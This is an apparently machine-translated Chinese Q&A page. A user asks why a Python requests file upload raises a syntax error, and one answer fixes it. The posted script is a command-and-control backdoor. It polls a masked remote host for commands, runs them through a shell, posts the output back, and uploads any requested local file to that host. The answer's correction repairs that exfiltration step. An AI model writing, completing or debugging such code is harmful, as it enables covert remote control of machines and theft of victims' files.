使用Python3中的POST请求发送文件[错误:语法无效]

时间:2017-08-29 12:57:47

标签: python-3.x http-post python-requests

我正在尝试使用python 3.5中的请求模块中的post方法发送文件,我收到错误说"语法无效"在这些行中,

  files = ('file':open(path,'rb'))
  r = requests.post(('htttp://#########', files= files))

完整代码如下。

import requests
import subprocess
import time
import os

while True:
     req = requests.get('htttp://########')
     command = req.text
     if 'terminate' in command:
         break
     elif 'grab' in command:
         grab,path = command.split('*')
         if os.path.exists(path):
             url = 'http://#########/store'
             files = ('file':open(path,'rb'))
             r = requests.post(('htttp://#########', files= files))
         else:
             post_request = requests.post(url='htttp://#########',data='[-] 
             Unable to find file !')
     else:
    CMD = subprocess.Popen(command,shell=True, stderr=subprocess.PIPE, 
    stdin=subprocess.PIPE,stdout=subprocess.PIPE)   
    post_request=requests.post(url='htttp://########',data=CMD.stdout.read())
    post_request = requests.post(url= 'htttp://######', 
                    data=CMD.stderr.read())

    time.sleep(3)

1 个答案:

答案 0 :(得分:-1)

你可能想要这个:

files = {'file': open(path, 'rb')}
r = requests.post('htttp://#########', files=files)

dict是使用花括号而不是括号创建的,并且在调用requests.post时参数周围有额外的括号。